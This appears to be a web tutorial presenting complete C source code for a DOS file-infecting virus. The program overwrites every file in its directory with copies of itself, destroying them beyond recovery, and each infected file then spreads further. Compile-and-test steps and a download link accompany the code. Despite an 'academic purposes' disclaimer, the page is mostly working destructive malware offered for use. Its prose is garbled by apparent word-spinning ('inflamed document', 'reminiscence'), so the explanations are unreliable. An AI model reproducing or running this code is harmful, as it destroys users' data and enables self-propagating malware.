This program is an instance of the way to create a new computer virus in c language. This program demonstrates an easy virus application which while done creates a copy of itself in all the other documents that are present in the same listing.
Therefore, it destroys other documents by infecting them. The inflamed document may even end up a virus so that once carried out, it is capable of spreading the contamination to any other report and so forth.
Right here’s the source code of the virus application:
#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock(); printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }
Note: This virus is designed to infect all types of files with any extension.
You may download the supply code from the subsequent link:
Download source code
How does the Virus application work?
The algorithm of this virus software is as follows:
Step-1: look for files inside the modern-day directory. If one or extra document is present, load the primary file (goal report).
Step-2: Load the replica of the virus itself onto the memory.
Step-3: Open the target report. reproduction the virus code from the reminiscence and vicinity it inside the goal file. Close the target record whilst the copying process is completed.
Step-4: Load the following record to contaminate and pass to the step-three. If all the documents are infected, near all the open files, unload them from the memory and exit.
As a long way as the technical phrases are worried, I would no longer be able to explain the program line by line. all people with a working expertise of C should be easily able to understand the functions and different terms used inside the program.
How to check the Virus After the Compilation:
- Create a new empty folder.
2. Placed some executable documents (or every other document) inside the folder.
3. Run the PC_Virus.exe record. inside some seconds, all of the other documents in the folder get inflamed.
4. Now each inflamed document is a brand new virus which is prepared to re-infect. You could reproduction any of the infected .exe documents to some other empty folder and repeat the equal technique to see if the infected report is capable of re-infecting. Delete the folder and all the infected documents after the checking out process are carried out.
Note: The files infected by this virus are destroyed completely and can’t be recovered. So, continually check the virus in a brand new folder through putting some sample files.
Caution: FOR academic purposes handiest. DO not spread OR MISUSE THIS VIRUS CODE.